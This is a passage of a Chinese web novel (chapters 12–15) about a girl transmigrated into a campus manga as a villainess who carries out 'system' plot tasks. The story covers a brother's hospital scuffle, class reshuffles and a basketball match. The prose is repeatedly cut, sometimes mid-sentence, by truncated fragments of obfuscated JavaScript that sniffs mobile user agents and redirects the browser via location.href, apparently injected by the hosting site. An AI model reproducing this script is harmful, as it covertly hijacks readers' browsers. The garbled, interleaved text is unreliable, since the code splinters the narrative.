【系统:没有哦。】 那么,可能是她看了本假漫画。 她想。 见上了课,阮柚叹了口气,先将刚才画面抛之脑后。 临近下课,班主任将考试成绩公布,又公布了即将分班的消息。 阮柚看着自己的成绩单,无悔自己熬过的好多个夜。 折起来放回时,几个女生凑上前。 阮柚没什么印象,但一听声音,应该同为孟季雪塑料姐妹团的成员。 她赶忙坐正。 【系统提醒:请宿主维持人设。】 维持人设=怎么造作怎么来。 阮柚逐渐深谙。 “阮柚,你怎么这么优秀呀,长得好看,成绩还几乎全A。” “呜呜,你为什么这么优秀啊~有什么方法吗!” 阮柚咳了声,认真:“没有呀。” “唔,可能是因为我天生擅长时间管理吧。” 话音一落,大眼对小眼,周围短暂寂静。 孟季雪从后面走上前,低头看着围坐中央的阮柚。 少女一脸澄净,叹着气皱着眉,像是丝毫没察觉周围的变化。 阮柚瞄了眼孟季雪的冷脸。 很好,她刻意抬高声音看来起到作用。 “阮柚。”孟季雪叫她名字。 “嗯?” 孟季雪沉默半秒,“你是怎么满脸认真的说出这句话的?” 她啧了声,“知不知道,这样会拉仇恨啊?” 阮柚微微瞪大眼睛。 她知道,她故意的。 当然,这些都不能说。 孟季雪没等她的回答,面露嫌弃,“傻……” 阮柚继续茫然:? 孟季雪勾了勾红唇,“我说你傻,还真傻。” 她算明白了,阮柚心思真的一根筋,说话不拐弯,不过当做朋友还算对她性子。 云里雾里间,话音就这样翻了页。 阮柚语气不确定:系统,我算完成了吧? 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15184072|165434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >系统沉默良久:算是吧…… 咳,这种情况,它还是第一次见。 也算是另一种,逻辑自洽…吧? 放学路上,孟季雪随口提了一句。 明下午学院有场篮球比赛。 “听说A班和L班PK呢。论坛都疯了。” 阮柚下意识:“为什么?” “当然是因为有江净理和成玉了,虽然我也不是很理解她们的花痴行为。” “哦。” 阮柚不经意移开目光。莫名想起自己之前被她委托偷拍顾叙。 "怎么,你也打算去看?" 阮柚没打算隐瞒,应了一声。 孟季雪似起了兴致,扭头看过来,“所以你支持哪个班?” 阮柚想起之前和成玉的约定,刚想说L班,但对上孟季雪后犹豫了。 “我就是去凑个热闹。” 孟季雪嘁了声,没说话,似乎觉得没什么意思。 阮柚发挥小跟班人设,也不说话了,安静跟在旁边。 没走几步,身旁的孟季雪忽然叫了声,“阿叙。” 语气惊喜。 阮柚顺势抬眼,不远不近的距离,顾叙站在路边的树下,身影兀自拖落地面。 听到有人叫他,他微抬起头,视线定了定。 阮柚恰好撞上他的目光。 深邃却明净。 她回神,不着痕迹移开。 多看了两眼,她注意到,顾叙怀里抱了一只小白猫,正眯眼乖巧任摸。 孟季雪走过去:“阿叙,你怎么在这里?” 顾叙笑了笑:“它病了,带它看医生。” “这样啊。” 顾叙:“你呢?” “我?” “我和我同学路过……欸,你待在那里做什么?” 孟季雪回头看阮柚,皱着眉。 阮柚慢吞吞走过来,礼貌打声招呼后,眼睛不知道往哪里放,只好看着那只小猫。 一想起之前做过的事,面对顾叙总觉得不太自在。 小白猫动了动,睁开眼,对着阮柚喵喵叫。 顿时软化了她半颗心。 但她仍记得之前过敏的教训,抿着唇,杵在原地没动。 顾叙低头摸了摸,嗓音柔和了些,“它很喜欢你。” 阮柚礼貌笑笑:“是吗?” 顾叙嗯了声。 他不经意,“要不要抱抱,它很乖。” 孟季雪跟着侧目看她。 不,当然不能了。 阮柚摇了摇头,拒绝的话刚要说出,一道声音从斜刺出现。 语调懒洋洋的,带着惯有的意气风发。 “不行,她对猫毛过敏。” 12. 第十二章 这道声音尤为熟悉。 转过头,成玉抱着篮球,正不疾不徐走过来。 阮柚面色如常,内心起伏戏。 难怪右眼跳,兜兜转转,漫画主角遇个遍。 孟季雪微讶,“成玉?” 成玉停下脚步,看向顾叙,“所以不行。” 人停在中间,隐约以保护姿态,将距离隔开。 顾叙望着他,下巴微紧。 怀里白猫似乎察觉到什么,喵了两声,脑袋一撇,慵懒拱回他的臂弯。 孟季雪不明所以,来回看了看,最后看向阮柚。 周遭人来人往,风云人物路边聚首,瞬间吸引了数道视线。 不能久留。 阮柚编辑好话:“其实……” 孟季雪收回目光,抢过话茬,“她过敏,你怎么知道的?” 阮柚心一紧,想起在灌丛偷拍顾叙那件事。 当事人就站在对面,千万不能露馅! 成玉睨了她一眼,笑了笑,道,“你猜啊。” 孟季雪环起手臂,“这要我怎么猜。” 阮柚隐约松了口气。 她看了白猫一眼,“我确实对猫毛过敏,不好意思。” 趁成玉没答,阮柚望着顾叙,脸不红心不跳,“可能是因为我之前去过医务室吧。” 所以刚好看到了。 一旁,成玉啧了声,却也没揭穿。 顾叙点头,眼里多了认真,“原来是这样,对不起,是我思虑不周。” 孟季雪:“你也是好意,这可不能怪你。” 阮柚表示赞同,“是我没说,不用和我说对不起。” 成玉笑了声,漫不经心的,全然旁观状态 路对面,有人喊他名字,又挥了挥手,应该是他的朋友。 他随手颠了下篮球,抬头,嗓音闲散,“嗯,我先走了。” 话说完,眼神落在阮柚身上,直到她有所回应,才满意移开视线。 阮柚保持着礼貌微笑。 走吧走吧,她还要去做任务呢。 (挥手 而正对面,顾叙注意到这个细节。 临走时,他出声叫住成玉。 “前几天遇到了伯父,他问起你的情况。” 阮柚闻言,看了眼成玉,直觉在话说完一刻,对方气压明显冷了下来。 气氛哪里怪怪的。 她摸摸鼻尖,选择装鸵鸟。 “别管闲事。” 成玉侧过身,嗤了声笑,“完美先生。” 说罢,转过了身。 擦肩时,阮柚听见他的声音,隔近了,混着轻淡薄荷味。 不大不小,刚好飘到耳边,“别忘了约定。” 没抬头,隐约感觉到一束存在感极强的目光。 恰逢此时,系统声音响起。 【叮,女主出没附近,请宿主拒绝女主请求。】 任务刚发布完,阮柚就听到了孟季雪的声音。 “那不是宁糖么?” 她于是看过去。 宁糖靠路边站着,不时看过来。 目光交汇,她眼睛一亮,朝阮柚挥挥手。 不言而喻。 阮柚道:“找我的。” “那我先走啦。” 孟季雪点头,她自然没有挽留的意思。 倒是顾叙问了句:“你们认识?” 阮柚一顿,"嗯,算是吧。" “知道了。” 阮柚点头,没放心上。 孟季雪有些疑惑,因为她了解,顾叙不是好奇心过剩的人。 不过她放弃了追问的念头,抬起头,看着顾叙低头逗猫。 赏心悦目。 / 阮柚大致回忆剧情。 善良的女主秉持着“有福同享”理念,将最近找到的兼职介绍给她。 但遭到女配果断拒绝。 宁糖:“是在帝宴做服务员,只需要三个小时。” 见阮柚没吱声,她补充:“不累的,而且听说去的都是名流贵族,都很有涵养,不会为难人……” 阮柚不动如山,“没时间。” 宁糖迟疑:“不会占用太久的。” 阮柚板着脸念台词,“没时间就是没时间。” 宁糖欲言又止。 不多时,电话铃声响起来。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15184073|165434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 阮柚掏手机,“喂?” 对面传来一阵女声,陌生礼貌,“请问你是阮时家人吗?” 阮时? 阮柚一愣。 “是的。” “是这样的,阮时在医院和人发生冲突,需要你来处理一下。” 冲突? 她皱皱眉,什么情况。 对面,宁糖揪着书包肩带,紧绷起神色。 电话那侧忽然些微嘈杂。 尔后,传来男孩隐忍又坚定的声音,“姐姐,你不要过来,他们都是坏人。” “欸,这小孩说什么呢!是你先动手打人的。” …… 赶到医院后,阮柚了解到情况。 阮时在医院花园晒太阳,遇见了同龄人。 看他孤单一个人,小孩说了几句,最后演变成肢体冲突。 小男孩在她妈妈怀里哭得歇斯底里。 而小阮时坐在角落凳子上,瘦瘦小小的,顶着嘴角淤青,咬唇不语,执拗不肯道歉。 见阮柚出现,女人抬高声音,“这小孩怎么管的啊,动不动就打人,把我家宝贝都打伤了。” 阮柚没理会,直直走过去,“阮时?” 阮时缓缓抬起头,眼眶红红的。“姐姐。” 阮柚下意识应声。 而没反应过来,小男孩忽然转过身,紧紧拥抱住她,好似汲取难得的温暖。 系统:检测到隐藏剧情…… 【因为被说没人养,小阮时第一次感觉愤怒,还有难言的委屈。】 【阮柚赶来医院时,听到叙述怒不可遏,笃定他是个麻烦精,为避免被碰瓷,她毫不犹豫转过身,冷漠扬长离去。】 【小阮时因此大受打击。 此后,更是安静不像话。只有对保护她的宁糖,才会露出些许孩子气。】 阮柚盯着阮时的发顶,手悬在半空,又落了下来。 小阮时似察觉到什么,伸手,小心翼翼回握住她。 呜,这是什么鬼剧情! 没错,宁糖也跟了过来。 目睹一切的她,满是担忧心疼。 系统:宿主大人,请开始你的表演! 13. 第十三章 系统话说完,阮柚看向怀里的阮时。 斜对面,小男孩母亲喋喋不休,俨然势必要讨回公道的架势。 “宝贝乖,下次不要理这种野孩子了……” 护士捏着太阳穴,视线落回在那对姐弟身上。 出于查房交集,她对那个小孩很有印象,不仅是因为他长相精致,招人怜爱。 也是因为他大多一人望着窗外,懂事又孤独。 原来这就是他一说起话,三句话不离的姐姐。 百闻不如一见,确实很好看。 明眸善睐,是一种不带任何攻击性的惊艳。 阮柚念着眼下任务,心一横,尝试缩回手。 动作很轻微,但几乎瞬息,又重新被握回。 阮时动了动,抬起脑袋:“姐姐,我没有……我不是野孩子……” 他低声辩驳,眼睛亮亮的,隐约闪烁祈求。 在祈求她能够相信,不要放开手。 而对于原身而言,真相于她是多余的。 阮柚没有说话。 咽下动摇的情绪,努力不动声色。 而相握的手宛若打结,缠在心头,徐徐传来温热。 一旁的护士见此情形,心软大半。 她来得最早,也最了解细节。心自是偏向阮时,但也不好说什么。 对方家世不凡,还是医院投资的大客户之一。 而少女和小男孩基本毫无背景可言。孰轻孰重,不言自明。 宁糖闻言蹲下,“你怎么会是野孩子呢,你这么可爱,有很多爱你的人。” 小阮时眨了眨眼睛,嘴唇翁动,却没有出声。 他低下头,目光渐渐黯淡。 可是,他一直没等到姐姐的话。 身边,阮柚忽然叹气,“阮时,先放开再说,好吗。” 阮时闻言,动作一僵。 见他犹豫,阮柚语气稍缓,“其实解决问题的方法有很多种。” 她垂下眸,用商量的口吻说着话。 总之,松开手,她才能有机会走剧情。 宁糖安静看向阮柚。 对方神色如常,但她一时,在话里听出几分温柔。 很多种解决问题的方法吗? 小阮时抿起唇。 他选择了相信,慢慢松开手。 阮柚整理好表情,转过了身。 下一秒,刚好对上护士的表情。 欲言又止,貌似,有一晃而过的怜惜、愧疚? 她睫毛一抖,平静撇开头。 应该是眼花了。 女人牵着小男孩,阔步走过来,“你就是他姐姐吧?” 阮柚嗓音淡淡的:“嗯。” “我家宝贝被这小孩伤到了,无缘无故就打人,你说怎么办吧?” 说罢,她抬起小男孩的手背。小男孩泪迹半干,见状,跟着直喊疼。 宁糖看得不平。 因为比起阮时身上挂的彩,这红痕就像在路边被树枝刮了两下。 阮时盯着姐姐的背影,唇抿得发白。 也许他不应该还手,这样给她添了好多麻烦。 阮柚看着对面的一唱一和。 她气定神闲,问,“所以,你觉得该怎么办?” 女人冷哼:“还能怎样?当然是先道歉,再赔偿!” 回忆着原漫剧情,阮柚抬了下眉毛,装作不可置信的样子。 护士忍不住劝:“这件事,两方都可以各退一步。退一步海阔天……” 话说着说着,声音却在女人犀利的目光中消退。 宁糖唇线紧绷,看了眼耷拉着脑袋的阮时。 而阮柚听完,浑身写满抗拒:“怎么可能!” 女人由上到下打量她。 身上没一件值钱的,一看就是担负不起,但阶级社会,她可没多余的同情心。 她勾唇,“怎么了,还想抵赖不成?” 阮柚眉头一皱。 她扫了对方一眼,最后扔下那句杀青台词,“和我没关系,想都别想。” 话说完,微昂起下巴,换上一张冷漠脸,踩着六亲不认的步伐打算离开。 女人气愣了,转身:“你,你说什么?别走!” 阮柚装作没听见,步子转弯,朝门口方向快步离开。 她稍松了口气,大功告成。 【系统:恭喜宿主完成漫画任务。任务评级:A】 【奖励:修正卡一张,金币x10,真心卡一张。】 阮柚疑惑:真心卡? 系统:使用即可听到对应人物的真心话哦。 阮柚了然,暂时想不到它的用处。 不过对于奖励,她自然没有嫌多的道理。 临走前,阮柚手搭在把手上。 冰凉平滑,和肌肤温热截然相反。 脑海闪过阮时干净纯粹的眼神。她凝神,忍住回头的欲望。 而下一秒,身后忽然响起宁糖的声音,充满惊慌。 “阮时你怎么了!你醒醒,别吓我。” 阮柚心一沉,扭头,远远看着阮时苍白着小脸,毫无知觉躺在宁糖怀里。 她顿时不安茫然,又想不清,原漫是否有这段。 而女人见状,赶忙拉着小孩弹远,生怕沾上什么病气。 阮柚走了过去:“怎么忽然晕倒了?” 护士凑过检查,“突然丧失意识,不排除是手术后遗症的可能。” 宁糖看向阮柚,担忧补充:“而且他刚才还受了伤……” 阮柚顺着她的目光望去,最后安静落在了女人身上。 她于是伸出手,拨了下阮时额发,“原来他伤得这么重。” 女人闻言咬了咬牙,被看得几阵心虚。 嘴上念了句病秧子后,二话不说就牵着小孩转身走了。 步伐稳健利落,不到十秒消失视线。 阮柚扯了扯唇角。 人走后,空气安静如鸡。 阮柚站直身,眼皮一抬,嘴上说着,“那我去叫医生。” 而同时,没待她起身,一只小手无声蹭过来,轻轻纠住她的衣角。 / 等公交时,阮柚歪了歪头,“所以是你教他的?” 宁糖:“不是,是你。” 阮柚以为听错了,茫然重复,“是我?” 她做什么了? 宁糖莞尔:“你之前说,解决问题的方法有很多,所以我才想到这个主意。” 她闪烁认真,道:“你说得对,那种情况我们不该硬碰硬。” 阮柚对着空气眨眨眼睛,“可我什么都没说呀。” 而且她所有的话,真的只是字面意思! 宁糖闻言,笑意未减,她转过身:“阮柚,我要郑重和你道歉。” 阮柚眼皮重重一跳,她理了下凌乱发梢。 有种直觉,两人目前不在一个频道。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15184074|165434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“以前,我可能有些误会你对家人态度。” 宁糖抿起笑意,“但今天我看到,你其实对你家人很关心,很温柔……你弟弟也很喜欢粘着你,所以对不起。” 接着,她悠悠道,“真好呀,我一直想要个弟弟。” 阮柚侧耳听着女主大人长串的话。 意识下落在"弟弟"这两个字,莫名想到临走前,阮时不舍的眼神。 在夕阳映衬下,亮的像森林深处的幼崽小鹿。 所以到底哪里出了偏差。 阮柚再度怀疑起自己半路出家的演技。 没来及细想,车来了,两人辞别。 系统忽然冒出来:这大概是人类经常说的“玄学”吧? 玄学。 用常理无法解释的,大概率就是了罢。 阮柚开始试着心如止水。 / 次日上午,学校进行了年级分班。 还在B班。 阮柚扫了眼,顺着人群,惯常走进去。 不少陌生的脸呀。 随便找了个没人座位,她趴桌上,觉得好像忘了点什么。 对了! 灵光一闪。 班级重新洗牌,孟季雪和她好像不是一个班…… 今天闹钟订早了,又睡得比较晚。 如今,她趴在臂弯,眼皮随着昏沉的意识,渐渐重了起来。 哪还想分什么班,和谁在一个班。 等她醒来后,朦胧听到了铃声。 窗外天蓝的通透,阳光愈发明耀。 她坐起来,支起下巴,往常一样抬了起头。 等等—— 阮柚拿笔的手一顿,盯着斜前方男生的侧影。 少年一身学院制服,背挺直如松,弯头写字时,后颈棘突干净而漂亮。 敏锐有所察觉,他微侧过眸,隔着空气,直直揪住了她的视线。 阮柚被抓了个正着,但惊慌只是一瞬,反应过后,她朝他笑了下。 顾叙眸中划过诧异,手指不经意敲过笔身,回之礼貌一笑。 收回目光后,阮柚彻底恢复清醒。 所以分班以后,她和顾叙成了一个班的同学。 而作为同学的她,则有着曾偷拍过他,又调戏过他的历史……? 刚刚,不会以为她在偷看她吧? 阮柚唇角一抖。 她大致回忆不久前短暂的相处。 她心存些许侥幸。 他贵人多忘事,忘了也说不定。 下课后,顾叙被老师叫走了。 人一走后,班里就陷入小骚动,几乎都在议论着他的名字。 阮柚不关注校园论坛,因而是第一次切身体会到,原来他在圣煜知名度这么高 不愧是漫画主要人物之一。 她竖耳朵听,忽然,有人站在她面前。 视线定了定,是叫不出名字的新同学。 男生个子高,寸头,讲起话来有些磕绊。 “阮柚,能、能告诉我你的、你的名字吗?” 阮柚凝滞:? 余光里,两个男生低着头笑,细细簌簌,却不带恶意,应该是他的朋友。 他刚说完,眼底闪过懊恼和羞愧,又开口,“你好,我其实知道你的名字。我的名字是孙……” “阮柚。” 就在身边,一道男声毫无征兆响起,嗓音温而淡,将她的思绪彻底拉了过去。 14. 第十四章 不知何时,议论声降下,教室里静了许多。 周遭几道视线咻咻投来,又在她不经意抬眸后,若无其事左右游离。 阮柚:……她没看见。 目光定了定,她看向说话的人 阳光下,顾叙停在过道,发丝边缘晕着光,眉眼柔和干净。 “许老师喊你去趟办公室。” 这样啊。 阮柚了然,应了声好。 她没忘记面前还站着新同学,侧过脑袋,“不好意思,我现在有些事。” 男生摸了摸脖颈,道,"没事没事,你忙你的。” 他张了张口,‘那下次再聊’五个字堪堪卡在喉间,却怎么也说不出口。 最后只好礼貌道别,转身先行离开。 回去后,几个兄弟笑他没出息,连话都不会讲了。 男生本泄着气,一听,一下弹起来,“因为当时顾叙就站在她旁边。” 声音隐约带了丝丝幽怨。 “哈?这有什么关系?” “对啊,而且顾叙也不是喜欢多管闲事的人啊。” 关系可大了…… 他闷闷想,却也说不出缘由。 不知为何,总感觉那两人,磁场严丝合缝,像是容不得第三人。 / 这边,阮柚走出教室。 【任务发布:请宿主修正剧情。】 系统话刚说完,一段剧情就涌入脑海。 【听到班主任提议她代表特招生发言时,阮柚开始慌了。不过万幸,她有拒绝机会。于是她几乎不假思索拒绝了,但这同时也代表着,她不得不忍痛与那份丰厚奖金告别。】 【至此,心底对获得奖金并绽放光彩的女主宁糖愈发积怨……】 “但殊不知,一切都落入了一双眼睛里?” 阮柚字字默念,注意到这个细节。 系统神秘兮兮:等会你就知道了。 阮柚哦了声,于是没再问。 敲门听到回音后,她走进办公室。 许老师听到她的拒绝有点惋惜,但到底也没说什么,毕竟也不是只有阮柚一个选择。 临走前,许老师叹了口气,语气鼓励,“阮柚,不忘初心,继续努力。” 阮柚点点头,眼睛都没眨,一副将话听进去的样子。 出了办公室的门,她吁了口长气,摸了下轻微发烫的脸颊。 办公室暖气开得过足,空气有些干闷 不过好在,进展还算顺利。 她随手波过几下凉风,转身原路返回。 然而没走几步路,直觉使然,她顿住步伐。 不多时,江净理抱着一叠资料,不紧不慢出现,“终于发现我了?” 剧情彻底明朗。 原来是江净理呀。 阮柚眨了眨眼睛。 哦豁,翻车进行时! “江净理?你怎么会在这里。” 阮柚思忖起该有反应,盯着他,语气忐忑紧张,就差把心虚写脸上了。 果不其然,对方短暂皱了下眉 压住几分小雀跃,阮柚目光灼灼,提前想着接下来的反应。 江净理嗓音淡淡:“跟着你过来的。” 他一瞬不瞬望着她,略微歪了歪头,思索反问起来,“表现不明显吗?” 阮柚睫毛一颤,看清他眼里认真,下意识点了点下巴。 江净理笑了下。 “那你刚才……” 没有听到什么? 平静后,她默默咽下后半段话。 与此同时,系统宣布了任务成功,以及有关奖励。 看来是看到了。 唔,装的真像。 心安定了,她慢悠悠瞥开头。 身边,江净理忽然挑起话题,“最近还是很忙吗?” 肩上没了任务,阮柚连步伐都轻松许多。 而听着问题,她选择不假思索,“对啊。” 她想明白了,和不按照常理出牌的男主大人相处,说话还不如反着说。 江净理挑了下眉,动唇想说什么,被预备铃生生中断。 循着打铃间隙,阮柚微笑挥手,“上课了,我先走了,再见。” 铃声散去,江净理掀起眼皮,望着少女背影,勾了勾唇。 小骗子。 少年安静敛眸,修长漂亮的手覆盖胸腔处。 心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15184075|165434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在跳,是不是证明,他的血也是热的。 / 篮球比赛举办前,B班举办了班委竞选投票。 顾叙没什么悬念成了班长。 因是全班匿名,所以数票时,几乎清一色的‘顾叙’中,“阮柚”的名字出现的格外突兀 见炽热视线齐刷刷投来,阮柚吃瓜吃到自己,差点从椅子栽下来。 不是我投的! 眼里明晃晃写着这几个字。 “保持安静。”班主任清了清嗓,带过了这个话题。 阮柚脑袋搁在臂弯,深吸了口气,开始回忆起原漫剧情。 【从小到大,阮柚一直有个当班干部的梦想。可这次简单的匿名投票,却只拿到了可怜的一票……】 大致回忆完剧情,阮柚缓缓抬头,拿起黑笔在草稿纸划来划去。 所以,她要按照剧情,凑到新任班长顾叙面前念这些台词? TT要坚强。 混乱思绪尚未厘清,班级就散了会。 为了不耽误时间,阮柚只好快速瞄准任务对象。 视线一定,他正专注低头,在讲台整理文件。 一鼓作气,阮柚捏了捏拳头,站起身走了过去。 她探了探脚尖,叫他名字,“顾叙。” 顾叙动作一顿。 抬眸,不经意落在少女泛红的耳尖。 微不可察错开后,平静望向对面的阮柚。 顾叙放下文件,“嗯,怎么了?” 阮柚保持矜持:“恭喜你成功当选了班长。” 顾叙闻言,心底一暖,热意渐渐蔓附心头。 他抬唇笑了笑,谢谢两字即将脱口而出。 而下一秒,却见对方伸出手,忽然拍了两下自己的胳膊 力道稀薄轻微,如果不是掠过风,很容易和错觉混淆。 阮柚飞速拍了两下,眨眨眼,神色云淡风轻。 趁对面一时安静,她重新蓄足勇气,抿了下唇,一本正经,“顾叙,当班长后要好好做事,替我完成未尽的梦想。” “总之,我会好好监督你的。” 顾叙一愣。 竖着耳朵想偷听八卦的同学:…? 15. 第十五章 下午风和日丽,圣煜热闹盛况。 篮球场。 阮柚踮起脚尖,想在人群露出脑袋,但随着躁动人潮,视野摇晃着模糊。 她微呼了口气,理了下翘起额发。 左顾右盼,还是没看到想找的人。 宁糖到底在哪呢。 找到空位后,她安安静静坐着,周遭聊天声钻入耳朵。 “刚才成玉那扣篮简直完美,太帅了!” “什么?成玉在哪?” “他热身几分钟走了,你来晚了,错过了一个亿。” “先别说了,咱们粉丝后援会的横幅准备好了没有?” ……粉丝后援会? 阮柚觉得新奇,不愧是贵族学院。 思绪回到任务上,她坐正寻找,忽然感受有人拍了下她的肩。 “这位同学。” 闻声看去,是一张陌生面孔。 听这声音应该是刚才说话的女生之一。 女生蹙着眉,唇压直,表情严肃。 阮柚抬眸,正对着她,被灼热视线盯得不自在。 这架势,不会原身哪里得罪过她吧。 “嗯。”嗓音很轻。 女生稍微凑近,尔后,语气庄重:“请问A班和L班,你支持哪个班?” 嗯? 阮柚眨了眨眼睛,停顿后,下意识说了声L班。 之前她答应好了。 而话还没说完,对面女生眼睛豁然一亮,宛若荒原找到同伴。 她不由分说伸出双手,将一些物什塞了过来。 阮柚下意识捧住,指尖微动,毛茸茸的。 女生一扫严肃,一副‘都是一家人’的表情,语气轻快起来,“这是我们特意准备的应援物,送给你。” “谢谢你。”阮柚低下头,视线被耷拉手边的毛绒兔耳勾去。 为什么……是兔子。 和成玉气质全然不符。 当然,作为无意乱入的假粉,她很理性保持缄默。 待会问问系统好了。 恰逢此时,系统声音响起。 【检测到剧情修正任务对象……】 阮柚竖起耳朵,打起十分精神。 【当知晓宁糖成为代表,即将当众发言时,阮柚不屑一顾。但她很快意识到,宁糖同时拥有了那笔奖金,心里于是隐约不快。所以,当在篮球场看到她时……】 任务不难。 接受大致剧情后,她目标明确走下看台,瞄准某个角落。 而隔着几步距离时,宁糖发现了她,朝她盈盈一笑。 “阮柚!”她走了过来。 阮柚轻微点点头,没有吭声,保持面无表情。 应该够冷漠、够疏离了吧? 宁糖问她:“你也是来看篮球比赛的吗?” “嗯。” 阮柚不咸不淡,想着直入正题。 然而,却听对方声音一提,似乎被什么东西吸引住。 “哇,这个小兔子徽章好可爱!” 嗯? 顺着目光看去,是自己挂在胸前的兔子头徽章。 也是刚才顶着一圈灼热目光,一板一眼戴上的‘粉丝象征’。 听着宁糖的话,阮柚心情有些微妙。 这个徽章显然不符合她现在的气质。 她抿着唇,不动声色,抬手想摘下。 谁料对面似是意识到什么,连忙打断出声。 阮柚动作一停。 宁糖:“不用不用。阮柚,虽然它很可爱,但这很适合你,很符合你的气质。” 阮柚皱了下眉,又看了眼对面的人。 唔,好像误会了。 而且,她能感受到,对面的渴望喜爱浓稠到几乎实质化了。 但最重要的是—— 这哪点符合她现在的气质了! 想到这,阮柚脑子一热,随手将徽章拍在她的掌心。 秉着快刀斩乱麻的敬业精神,她定定神,清嗓子念台词,“宁糖,虽然这次你得了那笔奖金,但你不要高兴太早,总有一天……" 她板着脸,用毕生演技演绎着不讲理,可是话还没说完,一阵温暖清香铺面而来。 阮柚卡壳一瞬,下意识依旧飞速念完,“……我会拿回我该得的一切。” 她微微睁大眼睛。 救! 女主刚才为什么要抱她? 宁糖松开她,说不出的认真,“阮柚,你对我真好。” 阮柚一瞬空白:“什么?” 对方眼睫微闪,继续道,“给我礼物,又把来之不易的机会给了我。” 阮柚一听,摇了摇脑袋:“我没有,你想多了。” 没事不要乱脑补! 宁糖则笑而不语。 她握着兔子徽章,小心翼翼试探,“我们应该现在是朋友了吧?” 眼里满是期待。 阮柚:……? / 回到球场看台后,系统提示音响起。 【剧情修正任务成功。】 阮柚靠了靠椅背,想着女主说的话,轻叹了口气。 幸好有人把宁糖喊走了。 不然剧情指不定往哪边狂奔。 冷静过后,周围开始小范围骚动。 似乎有什么人的出现,引起了许多关注。 视线一定,悠悠锁定在江净理身上。 果然。 球场边,少年穿着蓝色球衣,很显眼,手肘随意搭在护栏,看不出任何情绪。 周围队员在谈天阔论,而他明明立在中央,却有种浑然的淡漠。 印象里,这才该是男主本来的样子嘛。 阮柚扯了扯唇角,默默移开脸。 嗓子有些干,于是拧开瓶盖,喝了几口润喉。 也刚巧错过不远处不经意扫来的视线。 喝完水后,阮柚怀里手机振动了下。 孟季雪:你在哪呢? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15184076|165434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阮柚秒回:“我在看比赛,怎么了。” 孟季雪显然没多少兴趣:好吧,我在选礼服,既然这样,你忙吧。 回了个嗯以后,阮柚回忆着关于礼服的剧情 应该是几天后的宴会吧? 她大致一想,那里好像有重要情节来着。 没来及细想,面前视野微暗,扯起一条长长的横幅。 “作为成玉后援成员,我们要团结一致,在气势上不能倒。” “尤其是今天有江净理,更是不能放松!” 阮柚两只手攥着横幅,受到气氛感染,不由得点头如捣蒜。 比赛开始了。 赛况很激烈,纵然阮柚是个篮球小白也能看出神仙打架。 最后几分钟,成玉漂亮利落的扣篮落地,又将比分扳平。 直到一声哨响,中场休息,也没定胜负。 “听说他们一直不对盘。” 挤下热闹看台时,耳边无意飘来了这句话。 阮柚捏着矿泉水,暗自表示赞同。 可不是,刚才球场上那王不见王的架势,至今鲜活。 象征性客串了一下小迷妹,阮柚本想就这样离开。 但躁动间人挤人,不知被谁的肩膀扫了一下,她往前走了两步,手指不受控握了个空。 而不多时,一只骨节分明的手出现,收拢握住。 她抬起头。 成玉握着那瓶矿泉水,挑起眉梢,唇抿成笑弧,“过来给我加油的?” 少年穿着火红的球衣,语调上扬,心情俨然不错。 阮柚眼皮一跳,他什么时候过来的? 这里显然不是说话的场合。 感觉到要即将被周围盯穿,阮柚嗯了声。 见他人不动,又飞快补了句‘加油。’ 成玉笑得更开,望着她,“好啊,我会的。” 话说着,嗓音多了几分认真,“你放心好了。” 阮柚抿了抿唇。 理智让她不再吱声。 答应的使命完成,应该可以走了吧。 心下念着,当即打算道声别离开。 一不做二不休,阮柚出声:“再见,我先走……” 